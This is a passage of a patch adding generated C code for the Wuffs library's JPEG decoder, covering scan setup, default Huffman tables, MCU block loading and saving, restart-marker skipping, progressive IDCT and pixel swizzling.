wuffs_jpeg__decoder__calculate_single_component_scan_fields(self); ++ } else { ++ v_failed = wuffs_jpeg__decoder__calculate_multiple_component_scan_fields(self); ++ if (v_failed) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); ++ goto exit; ++ } ++ } ++ ++ goto ok; ++ ok: ++ self->private_impl.p_prepare_scan = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_prepare_scan = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_prepare_scan.v_i = v_i; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func jpeg.decoder.use_default_huffman_table ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_jpeg__decoder__use_default_huffman_table( ++ wuffs_jpeg__decoder* self, ++ uint8_t a_tc4_th) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__slice_u8 v_data = {0}; ++ wuffs_base__io_buffer u_r = wuffs_base__empty_io_buffer(); ++ wuffs_base__io_buffer* v_r = &u_r; ++ const uint8_t* iop_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io0_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ if (a_tc4_th == 0u) { ++ v_data = wuffs_base__make_slice_u8(wuffs_base__strip_const_from_u8_ptr(WUFFS_JPEG__DEFAULT_HUFF_TABLE_DC_LUMA), 29); ++ } else if (a_tc4_th == 1u) { ++ v_data = wuffs_base__make_slice_u8(wuffs_base__strip_const_from_u8_ptr(WUFFS_JPEG__DEFAULT_HUFF_TABLE_DC_CHROMA), 29); ++ } else if (a_tc4_th == 4u) { ++ v_data = wuffs_base__make_slice_u8(wuffs_base__strip_const_from_u8_ptr(WUFFS_JPEG__DEFAULT_HUFF_TABLE_AC_LUMA), 179); ++ } else if (a_tc4_th == 5u) { ++ v_data = wuffs_base__make_slice_u8(wuffs_base__strip_const_from_u8_ptr(WUFFS_JPEG__DEFAULT_HUFF_TABLE_AC_CHROMA), 179); ++ } else { ++ status = wuffs_base__make_status(wuffs_jpeg__error__missing_huffman_table); ++ goto exit; ++ } ++ { ++ wuffs_base__io_buffer* o_0_v_r = v_r; ++ const uint8_t* o_0_iop_v_r = iop_v_r; ++ const uint8_t* o_0_io0_v_r = io0_v_r; ++ const uint8_t* o_0_io1_v_r = io1_v_r; ++ const uint8_t* o_0_io2_v_r = io2_v_r; ++ v_r = wuffs_private_impl__io_reader__set( ++ &u_r, ++ &iop_v_r, ++ &io0_v_r, ++ &io1_v_r, ++ &io2_v_r, ++ v_data, ++ 0u); ++ self->private_impl.f_payload_length = ((uint32_t)((((uint64_t)(v_data.len)) & 65535u))); ++ { ++ wuffs_base__status t_0 = wuffs_jpeg__decoder__decode_dht(self, v_r); ++ v_status = t_0; ++ } ++ v_r = o_0_v_r; ++ iop_v_r = o_0_iop_v_r; ++ io0_v_r = o_0_io0_v_r; ++ io1_v_r = o_0_io1_v_r; ++ io2_v_r = o_0_io2_v_r; ++ } ++ status = v_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; ++ } ++ goto ok; ++ ++ ok: ++ goto exit; ++ exit: ++ return status; ++} ++ ++// -------- func jpeg.decoder.calculate_single_component_scan_fields ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_jpeg__decoder__calculate_single_component_scan_fields( ++ wuffs_jpeg__decoder* self) { ++ uint8_t v_csel = 0; ++ ++ self->private_impl.f_scan_comps_bx_offset[0u] = 0u; ++ self->private_impl.f_scan_comps_by_offset[0u] = 0u; ++ self->private_impl.f_mcu_num_blocks = 1u; ++ self->private_impl.f_mcu_blocks_sselector[0u] = 0u; ++ v_csel = self->private_impl.f_scan_comps_cselector[0u]; ++ self->private_impl.f_mcu_blocks_offset[0u] = self->private_impl.f_components_workbuf_offsets[v_csel]; ++ self->private_impl.f_mcu_blocks_mx_mul[0u] = 8u; ++ self->private_impl.f_mcu_blocks_my_mul[0u] = (8u * self->private_impl.f_components_workbuf_widths[v_csel]); ++ self->private_impl.f_mcu_blocks_dc_hselector[0u] = ((uint8_t)(0u | self->private_impl.f_scan_comps_td[0u])); ++ self->private_impl.f_mcu_blocks_ac_hselector[0u] = ((uint8_t)(4u | self->private_impl.f_scan_comps_ta[0u])); ++ self->private_impl.f_scan_width_in_mcus = wuffs_jpeg__decoder__quantize_dimension(self, self->private_impl.f_width, self->private_impl.f_components_h[v_csel], self->private_impl.f_max_incl_components_h); ++ self->private_impl.f_scan_height_in_mcus = wuffs_jpeg__decoder__quantize_dimension(self, self->private_impl.f_height, self->private_impl.f_components_v[v_csel], self->private_impl.f_max_incl_components_v); ++ return wuffs_base__make_empty_struct(); ++} ++ ++// -------- func jpeg.decoder.calculate_multiple_component_scan_fields ++ ++WUFFS_BASE__GENERATED_C_CODE ++static bool ++wuffs_jpeg__decoder__calculate_multiple_component_scan_fields( ++ wuffs_jpeg__decoder* self) { ++ uint32_t v_i = 0; ++ uint32_t v_h = 0; ++ uint32_t v_v = 0; ++ uint32_t v_hv = 0; ++ uint32_t v_total_hv = 0; ++ uint32_t v_b = 0; ++ uint32_t v_bx_offset = 0; ++ uint32_t v_by_offset = 0; ++ uint32_t v_sibo = 0; ++ uint8_t v_ssel = 0; ++ uint8_t v_csel = 0; ++ ++ v_total_hv = 0u; ++ v_i = 0u; ++ v_b = 0u; ++ v_bx_offset = 0u; ++ v_by_offset = 0u; ++ while (v_i < self->private_impl.f_scan_num_components) { ++ v_h = ((uint32_t)(self->private_impl.f_components_h[self->private_impl.f_scan_comps_cselector[v_i]])); ++ v_v = ((uint32_t)(self->private_impl.f_components_v[self->private_impl.f_scan_comps_cselector[v_i]])); ++ v_hv = (((uint32_t)(self->private_impl.f_components_h[self->private_impl.f_scan_comps_cselector[v_i]])) * ((uint32_t)(self->private_impl.f_components_v[self->private_impl.f_scan_comps_cselector[v_i]]))); ++ self->private_impl.f_swizzle_immediately_c_offsets[v_i] = ((uint32_t)(64u * v_total_hv)); ++ v_total_hv += v_hv; ++ while (v_hv > 0u) { ++ self->private_impl.f_scan_comps_bx_offset[(v_b & 15u)] = ((uint8_t)((v_bx_offset & 3u))); ++ self->private_impl.f_scan_comps_by_offset[(v_b & 15u)] = ((uint8_t)((v_by_offset & 3u))); ++ self->private_impl.f_mcu_blocks_sselector[(v_b & 15u)] = ((uint8_t)(v_i)); ++ v_b += 1u; ++ v_bx_offset += 1u; ++ if (v_bx_offset == v_h) { ++ v_bx_offset = 0u; ++ v_by_offset += 1u; ++ if (v_by_offset == v_v) { ++ v_by_offset = 0u; ++ } ++ } ++ v_hv -= 1u; ++ } ++ v_i += 1u; ++ } ++ if (v_total_hv > 10u) { ++ return true; ++ } ++ self->private_impl.f_mcu_num_blocks = v_total_hv; ++ self->private_impl.f_swizzle_immediately_c_offsets[self->private_impl.f_scan_num_components] = ((uint32_t)(64u * v_total_hv)); ++ v_b = 0u; ++ while (v_b < self->private_impl.f_mcu_num_blocks) { ++ v_ssel = self->private_impl.f_mcu_blocks_sselector[v_b]; ++ v_csel = self->private_impl.f_scan_comps_cselector[v_ssel]; ++ self->private_impl.f_mcu_blocks_offset[v_b] = (self->private_impl.f_components_workbuf_offsets[v_csel] + (8u * ((uint64_t)(self->private_impl.f_scan_comps_bx_offset[v_b]))) + (8u * ((uint64_t)(self->private_impl.f_scan_comps_by_offset[v_b])) * ((uint64_t)(self->private_impl.f_components_workbuf_widths[v_csel])))); ++ self->private_impl.f_mcu_blocks_mx_mul[v_b] = (8u * ((uint32_t)(self->private_impl.f_components_h[v_csel]))); ++ self->private_impl.f_mcu_blocks_my_mul[v_b] = (8u * ((uint32_t)(self->private_impl.f_components_v[v_csel])) * self->private_impl.f_components_workbuf_widths[v_csel]); ++ self->private_impl.f_mcu_blocks_dc_hselector[v_b] = ((uint8_t)(0u | self->private_impl.f_scan_comps_td[v_ssel])); ++ self->private_impl.f_mcu_blocks_ac_hselector[v_b] = ((uint8_t)(4u | self->private_impl.f_scan_comps_ta[v_ssel])); ++ v_sibo = ((uint32_t)(self->private_impl.f_swizzle_immediately_c_offsets[v_csel] + ((8u * ((uint32_t)(self->private_impl.f_scan_comps_bx_offset[v_b]))) + (64u * ((uint32_t)(self->private_impl.f_scan_comps_by_offset[v_b])) * ((uint32_t)(self->private_impl.f_components_h[v_csel])))))); ++ self->private_impl.f_swizzle_immediately_b_offsets[v_b] = wuffs_base__u32__min(v_sibo, 576u); ++ v_b += 1u; ++ } ++ self->private_impl.f_scan_width_in_mcus = self->private_impl.f_width_in_mcus; ++ self->private_impl.f_scan_height_in_mcus = self->private_impl.f_height_in_mcus; ++ return false; ++} ++ ++// -------- func jpeg.decoder.fill_bitstream ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_jpeg__decoder__fill_bitstream( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ uint32_t v_wi = 0; ++ uint8_t v_c8 = 0; ++ uint32_t v_new_wi = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ if (self->private_impl.f_bitstream_ri <= 0u) { ++ } else if (self->private_impl.f_bitstream_ri >= self->private_impl.f_bitstream_wi) { ++ self->private_impl.f_bitstream_ri = 0u; ++ self->private_impl.f_bitstream_wi = 0u; ++ } else { ++ v_wi = (self->private_impl.f_bitstream_wi - self->private_impl.f_bitstream_ri); ++ wuffs_private_impl__slice_u8__copy_from_slice(wuffs_base__make_slice_u8(self->private_data.f_bitstream_buffer, 2048), wuffs_base__make_slice_u8_ij(self->private_data.f_bitstream_buffer, ++ self->private_impl.f_bitstream_ri, ++ self->private_impl.f_bitstream_wi)); ++ self->private_impl.f_bitstream_ri = 0u; ++ self->private_impl.f_bitstream_wi = v_wi; ++ } ++ v_wi = self->private_impl.f_bitstream_wi; ++ while ((v_wi < 2048u) && (((uint64_t)(io2_a_src - iop_a_src)) > 0u)) { ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ if (v_c8 < 255u) { ++ self->private_data.f_bitstream_buffer[v_wi] = v_c8; ++ v_wi += 1u; ++ iop_a_src += 1u; ++ continue; ++ } else if (((uint64_t)(io2_a_src - iop_a_src)) <= 1u) { ++ break; ++ } else if (((uint16_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src) >> 8u)) > 0u) { ++ break; ++ } else { ++ self->private_data.f_bitstream_buffer[v_wi] = 255u; ++ v_wi += 1u; ++ iop_a_src += 2u; ++ } ++ } ++ if (((uint64_t)(io2_a_src - iop_a_src)) > 1u) { ++ if ((wuffs_base__peek_u8be__no_bounds_check(iop_a_src) >= 255u) && (((uint16_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src) >> 8u)) > 0u)) { ++ v_new_wi = (wuffs_base__u32__min(v_wi, 1784u) + 264u); ++ v_new_wi = wuffs_base__u32__min(v_new_wi, (v_wi + self->private_impl.f_bitstream_padding)); ++ if (v_wi < v_new_wi) { ++ wuffs_private_impl__u32__sat_sub_indirect(&self->private_impl.f_bitstream_padding, (v_new_wi - v_wi)); ++ wuffs_private_impl__bulk_memset(&self->private_data.f_bitstream_buffer[v_wi], (v_new_wi - v_wi), 0u); ++ v_wi = v_new_wi; ++ } ++ } ++ } ++ self->private_impl.f_bitstream_wi = v_wi; ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return wuffs_base__make_empty_struct(); ++} ++ ++// -------- func jpeg.decoder.load_mcu_blocks_for_single_component ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_jpeg__decoder__load_mcu_blocks_for_single_component( ++ wuffs_jpeg__decoder* self, ++ uint32_t a_mx, ++ uint32_t a_my, ++ wuffs_base__slice_u8 a_workbuf, ++ uint32_t a_csel) { ++ return (*self->private_impl.choosy_load_mcu_blocks_for_single_component)(self, a_mx, a_my, a_workbuf, a_csel); ++} ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_jpeg__decoder__load_mcu_blocks_for_single_component__choosy_default( ++ wuffs_jpeg__decoder* self, ++ uint32_t a_mx, ++ uint32_t a_my, ++ wuffs_base__slice_u8 a_workbuf, ++ uint32_t a_csel) { ++ uint64_t v_stride16 = 0; ++ uint64_t v_offset = 0; ++ ++ v_stride16 = ((uint64_t)((self->private_impl.f_components_workbuf_widths[a_csel] * 16u))); ++ v_offset = (self->private_impl.f_components_workbuf_offsets[(a_csel | 4u)] + (((uint64_t)(a_mx)) * 128u) + (((uint64_t)(a_my)) * v_stride16)); ++ if (v_offset <= ((uint64_t)(a_workbuf.len))) { ++ wuffs_private_impl__bulk_load_host_endian(&self->private_data.f_mcu_blocks[0], 1u * (size_t)128u, wuffs_base__slice_u8__subslice_i(a_workbuf, v_offset)); ++ } ++ return wuffs_base__make_empty_struct(); ++} ++ ++// -------- func jpeg.decoder.load_mcu_blocks ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_jpeg__decoder__load_mcu_blocks( ++ wuffs_jpeg__decoder* self, ++ uint32_t a_mx, ++ uint32_t a_my, ++ wuffs_base__slice_u8 a_workbuf) { ++ uint32_t v_b = 0; ++ uint8_t v_csel = 0; ++ uint64_t v_h = 0; ++ uint64_t v_v = 0; ++ uint64_t v_stride16 = 0; ++ uint64_t v_offset = 0; ++ ++ v_h = 1u; ++ v_v = 1u; ++ v_b = 0u; ++ while (v_b < self->private_impl.f_mcu_num_blocks) { ++ v_csel = self->private_impl.f_scan_comps_cselector[self->private_impl.f_mcu_blocks_sselector[v_b]]; ++ if (self->private_impl.f_scan_num_components > 1u) { ++ v_h = ((uint64_t)(self->private_impl.f_components_h[v_csel])); ++ v_v = ((uint64_t)(self->private_impl.f_components_v[v_csel])); ++ } ++ v_stride16 = ((uint64_t)((self->private_impl.f_components_workbuf_widths[v_csel] * 16u))); ++ v_offset = (self->private_impl.f_components_workbuf_offsets[((uint8_t)(v_csel | 4u))] + (((v_h * ((uint64_t)(a_mx))) + ((uint64_t)(self->private_impl.f_scan_comps_bx_offset[v_b]))) * 128u) + (((v_v * ((uint64_t)(a_my))) + ((uint64_t)(self->private_impl.f_scan_comps_by_offset[v_b]))) * v_stride16)); ++ if (v_offset <= ((uint64_t)(a_workbuf.len))) { ++ wuffs_private_impl__bulk_load_host_endian(&self->private_data.f_mcu_blocks[v_b], 1u * (size_t)128u, wuffs_base__slice_u8__subslice_i(a_workbuf, v_offset)); ++ } ++ v_b += 1u; ++ } ++ return wuffs_base__make_empty_struct(); ++} ++ ++// -------- func jpeg.decoder.save_mcu_blocks ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_jpeg__decoder__save_mcu_blocks( ++ wuffs_jpeg__decoder* self, ++ uint32_t a_mx, ++ uint32_t a_my, ++ wuffs_base__slice_u8 a_workbuf) { ++ uint32_t v_b = 0; ++ uint8_t v_csel = 0; ++ uint64_t v_h = 0; ++ uint64_t v_v = 0; ++ uint64_t v_stride16 = 0; ++ uint64_t v_offset = 0; ++ ++ v_h = 1u; ++ v_v = 1u; ++ v_b = 0u; ++ while (v_b < self->private_impl.f_mcu_num_blocks) { ++ v_csel = self->private_impl.f_scan_comps_cselector[self->private_impl.f_mcu_blocks_sselector[v_b]]; ++ if (self->private_impl.f_scan_num_components > 1u) { ++ v_h = ((uint64_t)(self->private_impl.f_components_h[v_csel])); ++ v_v = ((uint64_t)(self->private_impl.f_components_v[v_csel])); ++ } ++ v_stride16 = ((uint64_t)((self->private_impl.f_components_workbuf_widths[v_csel] * 16u))); ++ v_offset = (self->private_impl.f_components_workbuf_offsets[((uint8_t)(v_csel | 4u))] + (((v_h * ((uint64_t)(a_mx))) + ((uint64_t)(self->private_impl.f_scan_comps_bx_offset[v_b]))) * 128u) + (((v_v * ((uint64_t)(a_my))) + ((uint64_t)(self->private_impl.f_scan_comps_by_offset[v_b]))) * v_stride16)); ++ if (v_offset <= ((uint64_t)(a_workbuf.len))) { ++ wuffs_private_impl__bulk_save_host_endian(&self->private_data.f_mcu_blocks[v_b], 1u * (size_t)128u, wuffs_base__slice_u8__subslice_i(a_workbuf, v_offset)); ++ } ++ v_b += 1u; ++ } ++ return wuffs_base__make_empty_struct(); ++} ++ ++// -------- func jpeg.decoder.skip_past_the_next_restart_marker ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_jpeg__decoder__skip_past_the_next_restart_marker( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_c8 = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_skip_past_the_next_restart_marker; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 2u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ continue; ++ } else if (wuffs_base__peek_u8be__no_bounds_check(iop_a_src) < 255u) { ++ iop_a_src += 1u; ++ continue; ++ } ++ v_c8 = ((uint8_t)(((uint16_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src) >> 8u)))); ++ if (v_c8 < 192u) { ++ iop_a_src += 2u; ++ continue; ++ } else if ((v_c8 < 208u) || (215u < v_c8)) { ++ break; ++ } ++ v_c8 &= 7u; ++ if ((self->private_impl.f_next_restart_marker == ((uint8_t)(((uint8_t)(v_c8 + 1u)) & 7u))) || (self->private_impl.f_next_restart_marker == ((uint8_t)(((uint8_t)(v_c8 + 2u)) & 7u)))) { ++ break; ++ } else if ((self->private_impl.f_next_restart_marker == ((uint8_t)(((uint8_t)(v_c8 + 7u)) & 7u))) || (self->private_impl.f_next_restart_marker == ((uint8_t)(((uint8_t)(v_c8 + 6u)) & 7u)))) { ++ iop_a_src += 2u; ++ continue; ++ } else { ++ iop_a_src += 2u; ++ break; ++ } ++ } ++ self->private_impl.f_next_restart_marker = ((uint8_t)(((uint8_t)(self->private_impl.f_next_restart_marker + 1u)) & 7u)); ++ ++ ok: ++ self->private_impl.p_skip_past_the_next_restart_marker = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_skip_past_the_next_restart_marker = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func jpeg.decoder.apply_progressive_idct ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_jpeg__decoder__apply_progressive_idct( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__slice_u8 a_workbuf) { ++ uint32_t v_csel = 0; ++ bool v_block_smoothing_applicable = false; ++ uint32_t v_scan_width_in_mcus = 0; ++ uint32_t v_scan_height_in_mcus = 0; ++ uint32_t v_mcu_blocks_mx_mul_0 = 0; ++ uint32_t v_mcu_blocks_my_mul_0 = 0; ++ uint32_t v_my = 0; ++ uint32_t v_mx = 0; ++ uint64_t v_stride = 0; ++ uint64_t v_offset = 0; ++ uint8_t v_stashed_mcu_blocks_0[128] = {0}; ++ ++ wuffs_private_impl__bulk_save_host_endian(&self->private_data.f_mcu_blocks[0], 1u * (size_t)128u, wuffs_base__make_slice_u8(v_stashed_mcu_blocks_0, 128)); ++ v_block_smoothing_applicable = true; ++ v_csel = 0u; ++ while (v_csel < self->private_impl.f_num_components) { ++ if ((self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][0u] >= 16u) || wuffs_jpeg__decoder__top_left_quants_has_zero(self, ((uint32_t)(self->private_impl.f_components_tq[v_csel])))) { ++ v_block_smoothing_applicable = false; ++ } ++ v_csel += 1u; ++ } ++ v_csel = 0u; ++ while (v_csel < self->private_impl.f_num_components) { ++ v_scan_width_in_mcus = wuffs_jpeg__decoder__quantize_dimension(self, self->private_impl.f_width, self->private_impl.f_components_h[v_csel], self->private_impl.f_max_incl_components_h); ++ v_scan_height_in_mcus = wuffs_jpeg__decoder__quantize_dimension(self, self->private_impl.f_height, self->private_impl.f_components_v[v_csel], self->private_impl.f_max_incl_components_v); ++ v_mcu_blocks_mx_mul_0 = 8u; ++ v_mcu_blocks_my_mul_0 = (8u * self->private_impl.f_components_workbuf_widths[v_csel]); ++ if (v_block_smoothing_applicable && (0u != (self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][1u] | ++ self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][2u] | ++ self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][3u] | ++ self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][4u] | ++ self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][5u] | ++ self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][6u] | ++ self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][8u] | ++ self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][8u] | ++ self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][9u]))) { ++ self->private_impl.choosy_load_mcu_blocks_for_single_component = ( ++ &wuffs_jpeg__decoder__load_mcu_blocks_for_single_component_smooth); ++ self->private_impl.f_block_smoothing_mx_max_incl = wuffs_base__u32__sat_sub(v_scan_width_in_mcus, 1u); ++ self->private_impl.f_block_smoothing_my_max_incl = wuffs_base__u32__sat_sub(v_scan_height_in_mcus, 1u); ++ } else { ++ self->private_impl.choosy_load_mcu_blocks_for_single_component = ( ++ &wuffs_jpeg__decoder__load_mcu_blocks_for_single_component__choosy_default); ++ } ++ v_my = 0u; ++ while (v_my < v_scan_height_in_mcus) { ++ v_mx = 0u; ++ while (v_mx < v_scan_width_in_mcus) { ++ wuffs_jpeg__decoder__load_mcu_blocks_for_single_component(self, ++ v_mx, ++ v_my, ++ a_workbuf, ++ v_csel); ++ v_stride = ((uint64_t)(self->private_impl.f_components_workbuf_widths[v_csel])); ++ v_offset = (self->private_impl.f_components_workbuf_offsets[v_csel] + (((uint64_t)(v_mcu_blocks_mx_mul_0)) * ((uint64_t)(v_mx))) + (((uint64_t)(v_mcu_blocks_my_mul_0)) * ((uint64_t)(v_my)))); ++ if (v_offset <= ((uint64_t)(a_workbuf.len))) { ++ wuffs_jpeg__decoder__decode_idct(self, wuffs_base__slice_u8__subslice_i(a_workbuf, v_offset), v_stride, ((uint32_t)(self->private_impl.f_components_tq[v_csel]))); ++ } ++ v_mx += 1u; ++ } ++ v_my += 1u; ++ } ++ v_csel += 1u; ++ } ++ wuffs_private_impl__bulk_load_host_endian(&self->private_data.f_mcu_blocks[0], 1u * (size_t)128u, wuffs_base__make_slice_u8(v_stashed_mcu_blocks_0, 128)); ++ return wuffs_base__make_empty_struct(); ++} ++ ++// -------- func jpeg.decoder.swizzle_gray ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_jpeg__decoder__swizzle_gray( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__slice_u8 a_workbuf, ++ uint32_t a_x0, ++ uint32_t a_x1, ++ uint32_t a_y0, ++ uint32_t a_y1, ++ uint64_t a_stride) { ++ wuffs_base__pixel_format v_dst_pixfmt = {0}; ++ uint32_t v_dst_bits_per_pixel = 0; ++ uint32_t v_dst_bytes_per_pixel = 0; ++ uint64_t v_x0 = 0; ++ uint64_t v_x1 = 0; ++ wuffs_base__table_u8 v_tab = {0}; ++ wuffs_base__slice_u8 v_dst = {0}; ++ uint32_t v_y = 0; ++ uint32_t v_y1 = 0; ++ ++ v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); ++ v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); ++ if ((v_dst_bits_per_pixel & 7u) != 0u) { ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++ } ++ v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); ++ v_x0 = ((uint64_t)((v_dst_bytes_per_pixel * wuffs_base__u32__min(a_x0, self->private_impl.f_width)))); ++ v_x1 = ((uint64_t)((v_dst_bytes_per_pixel * wuffs_base__u32__min(a_x1, self->private_impl.f_width)))); ++ v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); ++ v_y = a_y0; ++ v_y1 = wuffs_base__u32__min(a_y1, self->private_impl.f_height); ++ while (v_y < v_y1) { ++ v_dst = wuffs_private_impl__table_u8__row_u32(v_tab, v_y); ++ if (v_x1 < ((uint64_t)(v_dst.len))) { ++ v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_x1); ++ } ++ if (v_x0 < ((uint64_t)(v_dst.len))) { ++ v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_x0); ++ } else { ++ v_dst = wuffs_base__utility__empty_slice_u8(); ++ } ++ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)), a_workbuf); ++ if (a_stride <= ((uint64_t)(a_workbuf.len))) { ++ a_workbuf = wuffs_base__slice_u8__subslice_i(a_workbuf, a_stride); ++ } else { ++ a_workbuf = wuffs_base__utility__empty_slice_u8(); ++ } ++ v_y += 1u; ++ } ++ return wuffs_base__make_status(NULL); ++} ++ ++// -------- func jpeg.decoder.swizzle_colorful ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_jpeg__decoder__swizzle_colorful( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__slice_u8 a_workbuf, ++ uint32_t a_x0, ++ uint32_t a_x1, ++ uint32_t a_y0, ++ uint32_t a_y1) { ++ uint64_t v_i = 0; ++ uint64_t v_j = 0; ++ wuffs_base__slice_u8 v_src0 = {0}; ++ wuffs_base__slice_u8 v_src1 = {0}; ++ wuffs_base__slice_u8 v_src2 = {0}; ++ wuffs_base__slice_u8 v_src3 = {0}; ++ uint32_t v_width0 = 0; ++ uint32_t v_width1 = 0; ++ uint32_t v_width2 = 0; ++ uint32_t v_width3 = 0; ++ uint32_t v_height0 = 0; ++ uint32_t v_height1 = 0; ++ uint32_t v_height2 = 0; ++ uint32_t v_height3 = 0; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ if (self->private_impl.f_swizzle_immediately) { ++ v_i = ((uint64_t)(self->private_impl.f_swizzle_immediately_c_offsets[0u])); ++ v_j = ((uint64_t)(self->private_impl.f_swizzle_immediately_c_offsets[1u])); ++ if ((v_i <= v_j) && (v_j <= 640u)) { ++ v_src0 = wuffs_base__make_slice_u8_ij(self->private_data.f_swizzle_immediately_buffer, v_i, v_j); ++ v_width0 = (8u * ((uint32_t)(self->private_impl.f_components_h[0u]))); ++ v_height0 = (8u * ((uint32_t)(self->private_impl.f_components_v[0u]))); ++ } ++ v_i = ((uint64_t)(self->private_impl.f_swizzle_immediately_c_offsets[1u])); ++ v_j = ((uint64_t)(self->private_impl.f_swizzle_immediately_c_offsets[2u])); ++ if ((v_i <= v_j) && (v_j <= 640u)) { ++ v_src1 = wuffs_base__make_slice_u8_ij(self->private_data.f_swizzle_immediately_buffer, v_i, v_j); ++ v_width1 = (8u * ((uint32_t)(self->private_impl.f_components_h[1u]))); ++ v_height1 = (8u * ((uint32_t)(self->private_impl.f_components_v[1u]))); ++ } ++ v_i = ((uint64_t)(self->private_impl.f_swizzle_immediately_c_offsets[2u])); ++ v_j = ((uint64_t)(self->private_impl.f_swizzle_immediately_c_offsets[3u])); ++ if ((v_i <= v_j) && (v_j <= 640u)) { ++ v_src2 = wuffs_base__make_slice_u8_ij(self->private_data.f_swizzle_immediately_buffer, v_i, v_j); ++ v_width2 = (8u * 